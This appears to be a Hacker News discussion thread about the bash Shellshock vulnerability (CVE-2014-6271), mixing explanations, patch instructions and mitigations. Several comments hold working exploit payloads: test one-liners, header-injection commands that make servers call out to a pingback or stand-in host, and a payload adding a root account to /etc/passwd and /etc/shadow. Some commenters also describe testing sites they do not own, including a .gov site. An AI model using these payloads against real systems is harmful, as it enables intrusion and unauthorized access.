CVE-2014-6271: Remote code execution through bash

There&#x27;s some misunderstanding of how the one-liner works, so here&#x27;s a writeup.<p>You can break the one-liner into two lines to see what is happening.<p><pre><code> 1. hobbes@media:~$ export badvar=&#x27;() { :;}; echo vulnerable&#x27; 2. hobbes@media:~$ bash -c &quot;echo I am an innocent sub process in &#x27;$BASH_VERSION&#x27;&quot; 3. bash: warning: badvar: ignoring function definition attempt 4. bash: error importing function definition for `badvar&#x27; 5. I am an innocent sub process in 4.3.25(1)-release </code></pre> 1. Create a specially crafted environment variable. Ok, it&#x27;s done. But, nothing has happened!<p>2. Create an innocent sub process. Bash in this case. During initialization...<p>3. ...bash spots the specially formed variable (named badvar), prints a warning,<p>4. ...and apparently doesn&#x27;t define the function at all?<p>5. But other than that, the child bash runs as expected.<p>And now the same two input lines on and OLD bash:<p><pre><code> 1. hobbes@metal:~$ export badvar=&#x27;() { :;}; echo vulnerable&#x27; 2. hobbes@metal:~$ bash -c &quot;echo I am an innocent sub process in &#x27;$BASH_VERSION&#x27;&quot; 3. vulnerable 4. I am an innocent sub process in 4.3.22(1)-release </code></pre> 1. Create a specially crafted environment variable. Ok, it&#x27;s done. But, nothing has happened!<p>2. Create an innocent sub process. Bash in this case. During initialization...<p>3. ...bash accidentally EXECUTES a snippet that was inside the variable named &#x27;badvar&#x27;?!<p>4. But other than that, the child bash runs as expected. Wow, I should update that machine. :)

If you are responsible for the security of any system, this is your immediate, drop-everything priority. The technical details of the exploit mean that new ways of exploiting it will be discovered soon. Precedent suggests that automated systematic attacks against every server on the Internet will be coming, on a time scale of hours.

Is it just me, or are the patches &quot;fixing&quot; the vulnerability woefully insufficient? With the patch, bash stops executing the trailing code, but it still allows defining arbitrary shell functions from environment variables. So, even though the patch fixes the ability to exploit this via SSH_ORIGINAL_COMMAND or HTTP_*, anything that can set environment variables can still override an arbitrary command. (Note that privileged environments typically filter out attempts to set PATH, LD_LIBRARY_PATH, and so on.)<p>This applies even if your shell script or shell snippet uses the full paths to commands. For instance:<p><pre><code> $ env &#x27;&#x2F;sbin&#x2F;foo&#x27;=&#x27;() { echo exploit; }&#x27; bash -c &#x27;&#x2F;sbin&#x2F;foo&#x27; exploit</code></pre>

It might still be an issue. The patches may not have done enough.<p>$ env X=&#x27;() { (a)=&gt;\&#x27; sh -c &quot;echo date&quot;; cat echo<p><a href="https://twitter.com/taviso/status/514887394294652929#" rel="nofollow">https:&#x2F;&#x2F;twitter.com&#x2F;taviso&#x2F;status&#x2F;514887394294652929#</a><p>env X=&#x27;() { (a)=&gt;\&#x27; bash -c &quot;echo echo vuln&quot;; [[ &quot;$(cat echo)&quot; == &quot;vuln&quot; ]] &amp;&amp; echo &quot;still vulnerable :(&quot;

env x=&#x27;() { :;}; echo vulnerable&#x27; bash -c &quot;echo this is a test&quot;<p>From <a href="https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/" rel="nofollow">https:&#x2F;&#x2F;securityblog.redhat.com&#x2F;2014&#x2F;09&#x2F;24&#x2F;bash-specially-cr...</a>

This is what happens when you have two different processes doing IPC using a human interface mechanism.<p>Another huge family of vulnerabilities that exists for the same reason are SQL injection vulnerabilities. SQL was invented as a way for humans at a terminal to do database operations. However, we started using it as a way of doing IPC. The problem with using human interfaces as an IPC mechanism is that human interfaces are rarely well-defined or minimal, so it is very hard to constrain behavior to what you expect.<p>The way to fix all of these bugs is to use well-defined, computer-oriented IPC mechanisms where there is a clear distinction between code and data. For example, database queries might be constructed by function call instead of string manipulation, which could pack them into a safe TLV format with no chance of malicious query injection. Generating web server content from a different language could be done via a proper FFI or message passing mechanism, rather than CGI scripts.

Here&#x27;s how to patch Ubuntu 8.04 or anything where you have to build bash from source:<p><pre><code> #assume that your sources are in &#x2F;src cd &#x2F;src wget http:&#x2F;&#x2F;ftp.gnu.org&#x2F;gnu&#x2F;bash&#x2F;bash-4.3.tar.gz #download all patches for i in $(seq -f &quot;%03g&quot; 0 25); do wget http:&#x2F;&#x2F;ftp.gnu.org&#x2F;gnu&#x2F;bash&#x2F;bash-4.3-patches&#x2F;bash43-$i; done tar zxvf bash-4.3.tar.gz cd bash-4.3 #apply all patches for i in $(seq -f &quot;%03g&quot; 0 25);do patch -p0 &lt; ..&#x2F;bash43-$i; done #build and install .&#x2F;configure &amp;&amp; make &amp;&amp; make install </code></pre> Not sure if Ubuntu 8.04 with custom built bash will be upgradable to 10.04??

It is a very good thing that Debian and Ubuntu use &#x2F;bin&#x2F;dash for &#x2F;bin&#x2F;sh by default, since &#x2F;bin&#x2F;sh is implicitly invoked all over the place (e.g. by system(3)). Distros which use &#x2F;bin&#x2F;bash for &#x2F;bin&#x2F;sh are gonna have a bad time.<p>Edit: not implying that Debian and Ubuntu aren&#x27;t affected too, just that the impact there will be lessened.

Passing executable code in environment variables is an incredibly bad idea.<p>The parsing bug is a red herring; there are probably ways to exploit the feature even when it doesn&#x27;t have the bug.<p>The parsing bug means that the mere act of defining the function in the child bash will execute the attacker&#x27;s code stored in the environment variable.<p>But if this problem is closed, the issue remains that the attacker controls the environment variable; the malicious code can be put inside the function body. Even though it will not then be executed at definition time, perhaps some child or grand-child bash can be nevertheless goaded into calling the malicious function.<p>Basically this is a misfeature that must be rooted out, pardon the pun.

Funny, this works even after bash fix &#x2F; upgrade<p>env X=&#x27;() { (a)=&gt;\&#x27; sh -c &quot;echo date&quot;; cat e<p>From <a href="http://seclists.org/oss-sec/2014/q3/672" rel="nofollow">http:&#x2F;&#x2F;seclists.org&#x2F;oss-sec&#x2F;2014&#x2F;q3&#x2F;672</a>

So I took a great unix&#x2F;linux systems programming class, <a href="http://sites.fas.harvard.edu/~lib215/" rel="nofollow">http:&#x2F;&#x2F;sites.fas.harvard.edu&#x2F;~lib215&#x2F;</a> where you learn about all of the system software that you take for granted. Among other things, we had to write our own shell. There is an awful lot to consider, and most of it you are just trying to get to work properly. With regard to security, you feel like you are protected for the most part because the shell resides in userland and it&#x27;s basically understood that you shouldn&#x27;t trust foreign shell scripts.<p>Is the worry here that the code gets executed by the kernel or superuser, enabling privilege escalation? Otherwise it wouldn&#x27;t be a big deal that extra code is executed by a function declaration.

<a href="http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html" rel="nofollow">http:&#x2F;&#x2F;www.csoonline.com&#x2F;article&#x2F;2687265&#x2F;application-securit...</a><p><i>Another attack surface is OpenSSH through the use of AcceptEnv variables. As well through TERM and SSH_ORIGINAL_COMMAND. An environmental variable with an arbitrary name can carry a nefarious function which can enable network exploitation.</i>

As an example of who might be impacted, since openssh preserves the original command line passed to the ssh server when authenticating a public key that has a fixed command associated in authorized_keys, GitHub and BitBucket security teams are probably both having a really exciting day.

Amazon&#x27;s Linux distro for EC2 is still waiting for a patch.<p>EDIT: Finally got things updated. Bulletin can be found here: <a href="https://alas.aws.amazon.com/ALAS-2014-418.html" rel="nofollow">https:&#x2F;&#x2F;alas.aws.amazon.com&#x2F;ALAS-2014-418.html</a><p>If yum isn&#x27;t finding the update, try running &quot;yum clean all&quot; and then &quot;yum update bash&quot;

A quick fix would be to stop using bash.<p>I write hundreds of shell scripts per year and I never, ever use bash. Everything can be done with a less complex &#x2F;bin&#x2F;sh having only POSIX-like features.<p>There&#x27;s no reason webservers have to use bash by default.<p>Sysadmins might need a hefty shell will lots of features in order to do their work, but an httpd should not need access to bash-isms. It should work fine with a very minimal POSIX-like shell.<p>I&#x27;m glad the systems I use do not have bash installed by default. The only time I ever use it is when a software author tries to force me to use bash by writing their install scripts in it and using bash-isms so the script will not run with a simpler shell like a BSD &#x2F;bin&#x2F;sh.

Maybe I&#x27;m doing something wrong, but I just tested it in ZSH (5.0.5, Linux) and the same vulnerable behavior seems to show up.

According to <a href="http://wiki.bash-hackers.org/syntax/basicgrammar" rel="nofollow">http:&#x2F;&#x2F;wiki.bash-hackers.org&#x2F;syntax&#x2F;basicgrammar</a> it appears that this is because bash allows <i>functions</i> to be exported through environment variables into subprocesses, but the code to parse those function definitions seems to be the same used to parse regular commands (and thus execute them).<p>Edit: after a brief glance over the affected code, this might not be so easy to patch completely - the actual method where everything interesting starts to take place is initialize_shell_variables in variables.c and parse_<i>and_execute</i>() in builtins&#x2F;evalstring.c, so parsing and execution happen together; this is necessary to implement the shell grammar and is part of what makes it so powerful, but it can also be a source of vulnerabilities if it&#x27;s not used carefully. I suppose one attempt at fixing this could be to separate out the function parsing code into its own function, one which can&#x27;t ever cause execution of its input, and use that to parse function definitions in environment variables. This would be a pretty easy and elegant thing to do with a recursive-descent parser, but bash uses a lex&#x2F;yacc-generated one to consume an entire command at once...<p>However, all in all I&#x27;m not so sure this ability to export funcdefs is such a good idea - forking a subshell automatically inherits the functions in the parent, and if it&#x27;s a shell that wasn&#x27;t created in such a manner, if it needs function definitions it can read them itself from some other source. This &quot;feature&quot; also means environment variables cannot start with the string &#x27;() {&#x27; (and <i>exactly</i> the string &#x27;() {&#x27; - even removing the space between those characters, e.g. &#x27;(){&#x27;, doesn&#x27;t trigger it) without causing an error in any subprocess - violating the usual assumption that environment variables can hold any arbitrary string. It might be a rare case, but it&#x27;s certainly a cause for surprise.

For more info: <a href="http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html" rel="nofollow">http:&#x2F;&#x2F;www.csoonline.com&#x2F;article&#x2F;2687265&#x2F;application-securit...</a><p>This should be fun

Is someone from Heroku online here right now? My apps are all affected and since I am trusting Heroku with this, I am hoping they patch the system as soon as possible.

Have big security vulnerabilities been cropping up more often recently or does it seem that way because I&#x27;ve started to pay attention?

I tested some of the sites and successfully executed some test code. One can easily google for such sites. The important thing is that, the link using which I ran the code is of a .gov site.<p>This thing seriously needs to be patched asap. Update your systems now.

Some more information was just posted to oss-sec:<p><a href="http://seclists.org/oss-sec/2014/q3/650" rel="nofollow">http:&#x2F;&#x2F;seclists.org&#x2F;oss-sec&#x2F;2014&#x2F;q3&#x2F;650</a>

With this bug, bash access to CiscoCallmanager is possible... Tested and working....

Off topic:<p><i>This</i> is why I keep coming back to HN. I&#x27;ve gotten an amazing amount of useful info on this very quickly. Great discussion - no trolling, no BS, just serious questions and serious answers.

I&#x27;m a bit confused about how to properly patch my mac.<p>Homebrew installs upgraded bash to &#x2F;usr&#x2F;local&#x2F;bin&#x2F;bash, everyone says what I should do is run &#x27;chsh -s &#x2F;usr&#x2F;local&#x2F;bin&#x2F;bash&#x27; but if I have a script that has a &#x2F;bin&#x2F;bash hashbang at the top, won&#x27;t it still use the vulnerable bash install?<p>I mean I guess the answer is &quot;you&#x27;re probably not hosting a publicly accessible service on your mac, who cares?&quot;, which is true in my case, but still.

Wanted to share the simple Ansible script we used to patch CVE-2014-6271 at npm: <a href="https://github.com/npm/ansible-bashpocalypse" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;npm&#x2F;ansible-bashpocalypse</a>

The currently published fix is claimed to be incomplete: <a href="https://twitter.com/taviso/status/514887394294652929" rel="nofollow">https:&#x2F;&#x2F;twitter.com&#x2F;taviso&#x2F;status&#x2F;514887394294652929</a>

Know what isn&#x27;t vulnerable to this? Perl CGI scripts with taint mode enabled. <a href="http://perldoc.perl.org/perlsec.html#Taint-mode" rel="nofollow">http:&#x2F;&#x2F;perldoc.perl.org&#x2F;perlsec.html#Taint-mode</a><p><pre><code> You may not use data derived from outside your program to affect something else outside your program--at least, not by accident. All command line arguments, environment variables, locale information (see perllocale), results of certain system calls (readdir(), readlink(), the variable of shmread(), the messages returned by msgrcv(), the password, gcos and shell fields returned by the getpwxxx() calls), and all file input are marked as &quot;tainted&quot;. Tainted data may not be used directly or indirectly in any command that invokes a sub-shell, nor in any command that modifies files, directories, or processes, with the following exceptions:</code></pre>

My OSX Mavericks install appears to be affected:<p><pre><code> foom:~ steve$ env x=&#x27;() { :;}; echo vulnerable&#x27; bash -c &quot;echo this is a test&quot; vulnerable this is a test</code></pre>

This is quite stealthy way to scan, as Accept headers are generally not logged:<p><pre><code> curl -H &#x27;Accept: () { :;}; &#x2F;usr&#x2F;bin&#x2F;curl -so &#x2F;dev&#x2F;null http:&#x2F;&#x2F;my.pingback.com&#x27; </code></pre> Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.

It seems like the current patch might not be a complete fix:<p><a href="http://seclists.org/oss-sec/2014/q3/671" rel="nofollow">http:&#x2F;&#x2F;seclists.org&#x2F;oss-sec&#x2F;2014&#x2F;q3&#x2F;671</a>

Am I wrong in thinking that seems a bit worse than Heartbleed?

What would be the best way to go if using Debian 5 (lenny)?<p>The only service exposed is ssh, and no one outside the company has an account. Is it still vulnerable through ssh?

No update out for Ubuntu Server 14.04 yet.<p>&#x2F;edit: the Red Hat blog has a good overview <a href="https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/" rel="nofollow">https:&#x2F;&#x2F;securityblog.redhat.com&#x2F;2014&#x2F;09&#x2F;24&#x2F;bash-specially-cr...</a>

From just a functionality standpoint, how is even the patched version supposed to work? It seems to undefine the variable:<p><pre><code> % E=&#x27;() { echo hi; }; echo cry&#x27; bash -c &#x27;echo &quot;-$E-&quot;&#x27; bash: warning: E: ignoring function definition attempt bash: error importing function definition for `E&#x27; -- </code></pre> Since everyone&#x27;s favorite example seems to be CGI scripts, doesn&#x27;t this result in the script having no variable, as opposed to just a text one? Suddenly the script can break because an expected variable is no longer present simply because the input had a certain odd looking form?<p>In fact, if I wanted my variable to be a function, why wouldn&#x27;t I just explicitly eval it? What&#x27;s the use case at all for this functionality?

I got tired of the hype. How&#x27;s the following code for a mitigation?<p>Basically, if some program does invoke &#x2F;bin&#x2F;bash, control first passes to this code which truncates suspicious environment variables. (and it dumps messages to the system log if&#x2F;when it finds anything...)<p>The check should match for any variety of white space:<p>=(){<p>=() {<p>= ( ) {<p>etc... but feel free to update it for whatever other stupid things bash allows.<p>The code is at <a href="http://ad5ey.net/bash_shock_fix.c" rel="nofollow">http:&#x2F;&#x2F;ad5ey.net&#x2F;bash_shock_fix.c</a><p>Simple usage:<p>cd &#x2F;bin<p>gcc -std=c11 -Wall -Wextra bash_shock_fix.c -o bash_shock_fix<p>mv bash bash.real<p>ln -s bash_shock_fix bash<p>phoenix(pts&#x2F;1):~bin# ls -al bash*<p>lrwxrwxrwx 1 root root 14 Sep 27 00:23 bash -&gt; bash_shock_fix<p>-rwxr-xr-x 1 root root 1029624 Sep 24 14:51 bash.real<p>-rwxr-xr-x 1 root root 9555 Sep 27 00:23 bash_shock_fix<p>-rw-r--r-- 1 root root 2990 Sep 27 00:23 bash_shock_fix.c<p>phoenix(pts&#x2F;1):~bin#

For this to happen the attacker has to control environment variables and then a bash shell is spawned.<p>Lots of web stuff spawn shells setting environment variables to stuff in HTTP headers. LC_TIME with some time zone settings might be one.

Am I vulnerable if using the Paperclip gem to manage file uploads on a Rails app (it internally fires up &#x27;convert&#x27; to generate thumbnails, I believe).<p>What if there is an <i>haproxy</i> sitting in front of the Rails app?

We have added the CVE to our scanning routines and the update is now online on www.detectify.com. Test your environment for unpatched servers. In times like these it&#x27;s OK to go for our free plan.

We just released a complete quick-test for #shellshock here: <a href="https://shellshock.detectify.com/" rel="nofollow">https:&#x2F;&#x2F;shellshock.detectify.com&#x2F;</a>. It&#x27;s free to use and here&#x27;s the information about how the scanner works: goo.gl&#x2F;8vp6eo<p>Please feedback here: <a href="https://news.ycombinator.com/item?id=8366643" rel="nofollow">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=8366643</a>

Has the redhat patch been pushed through centos yet?

I&#x27;m by no means an expert, but am I completely wrong if I think something like this should work on an exploitable system to get a pingback from a vulnerable system without curl ?<p><pre><code> curl -A &quot;() { :; }; echo GET &#x2F;pingback.php | telnet bashexploitindexer.fake 80&quot; http:&#x2F;&#x2F;expoitablehost.com&#x2F;blah.cgi</code></pre>

My friend tried it on Heroku - It is affected.

Can someone with mod_security test a regex I wrote that should mitigate this? &#x2F;\(.<i>?\)\s</i>\{.<i>?\}\s</i>\;&#x2F; from testing seems to catch any variants that I can think of that can trigger this bug, but I don&#x27;t have a machine easily available to me at the moment to test with, unfortunately.

Ubuntu has been patched, it appears. If you&#x27;re on Ubuntu, try this:<p>sudo apt-get update<p>sudo apt-get --only-upgrade install bash

At a glance, one interesting use of this is a potential local privilege escalation on systems with a sudoers file which restrict commands which can be run to ones that include a bash script, and allow you to keep some environment variables.

Here&#x27;s an easy to use and reliable scanner to test if your website is vulnerable. <a href="http://milankragujevic.com/projects/shellshock/" rel="nofollow">http:&#x2F;&#x2F;milankragujevic.com&#x2F;projects&#x2F;shellshock&#x2F;</a>

so basically turn off AcceptEnv in sshd_config?

For those of us with large clusters and chef, here is a useful knife command for updating bash on debian&#x2F;ubuntu systems:<p>knife ssh &#x27;name:*&#x27; &#x27;sudo apt-get update &amp;&amp; sudo apt-get install -y --only-upgrade bash&#x27;

What I&#x27;m really worried about now is every single cable modem and router out there, as they are very rarely updated. They run their shit for years. The bigger routers yes, but smaller ones and the modems not.

Interestingly enough ancient BASH version 3.2 on Mac OS X 10.9.5 is not vulnerable:<p><pre><code> $ echo $BASH_VERSION 3.2.51(1)-release $ x=&#x27;() { :;}; echo vulnerable&#x27; bash -c &quot;echo this is a test&quot; bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x&#x27; this is a test $ </code></pre> I manually patched my BASH 4.3 to patch level 25 so it&#x27;s not vulnerable either.<p><pre><code> $ echo $BASH_VERSION 4.3.25(1)-release $ x=&#x27;() { :;}; echo vulnerable&#x27; bash -c &quot;echo this is a test&quot; bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x&#x27; this is a test $</code></pre>

So proud of myself; my Python has env={} in the call to Popen().<p>The ultimate whitelist.<p>And they&#x27;re executed with sudo but sudo empties out env vars with functions in them on the machines I use. Oldest is RHEL5.

Here is a very simple proof of concept that helped me understand the vulnerability:<p><pre><code> bash-3.2$ anyvariable=&#x27;() { true; }; echo foo&#x27; bash foo</code></pre>

env x=&#x27;() { :;}; echo &quot;johndoe:x:0:0::&#x2F;root:&#x2F;bin&#x2F;sh&quot; &gt;&gt;&#x2F;etc&#x2F;passwd&#x27; bash -c &quot;echo this is just a test&quot;<p>env x=&#x27;() { :;}; echo &quot;johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1ctGjN1fXrpsusRHRKTHf&#x2F;E15OA2Nr4TdTF9F0SS4ousy3WrPCI2ofdNoAonRnNPQ7Ja3FQ&#x2F;:15997:0:99999:7:::&quot; &gt;&gt;&#x2F;etc&#x2F;shadow&#x27; bash -c &quot;echo this is just a test&quot;<p>Hacked!!<p>but this only work from root :&#x2F; and johndoe xD

Saved a lot of time again today with salt! $ salt * pkg.install bash refresh=True and then check for right version $ salt * pkg.version bash

Looks like Raspian have updated their bash package with the fix, so my Raspberry Pi is safe.

So if a machine is not running a web server, does that mean that machine is not vulnerable?

Saucy wasn&#x27;t patched by the time I did a do-release-upgrade a while ago.

Don&#x27;t forget to update your docker containers and restart them.

The patch: ftp:&#x2F;&#x2F;ftp.cwru.edu&#x2F;pub&#x2F;bash&#x2F;bash-4.3-patches&#x2F;bash43-025

All the explanations of why this is bad seem to involve CGI. Didn&#x27;t the CGI interface die in the 90&#x27;s? Who uses that nowadays?

FreeBSD appears to be affected.

Someone please ELI5 (Explain Like I&#x27;m 5)?

Free BashBleed logo for tech journalists - <a href="http://i.imgur.com/ilJbM74.png" rel="nofollow">http:&#x2F;&#x2F;i.imgur.com&#x2F;ilJbM74.png</a>

I have a feeling this is blown out of proportion. Who&#x27;s running bash setuid exactly? Right. Who&#x27;s running shell CGIs today? Right.<p>So.. who has an example of common scripts that are executed remotely in most servers while accepting remote environment? Til then, the panic seems unjustified...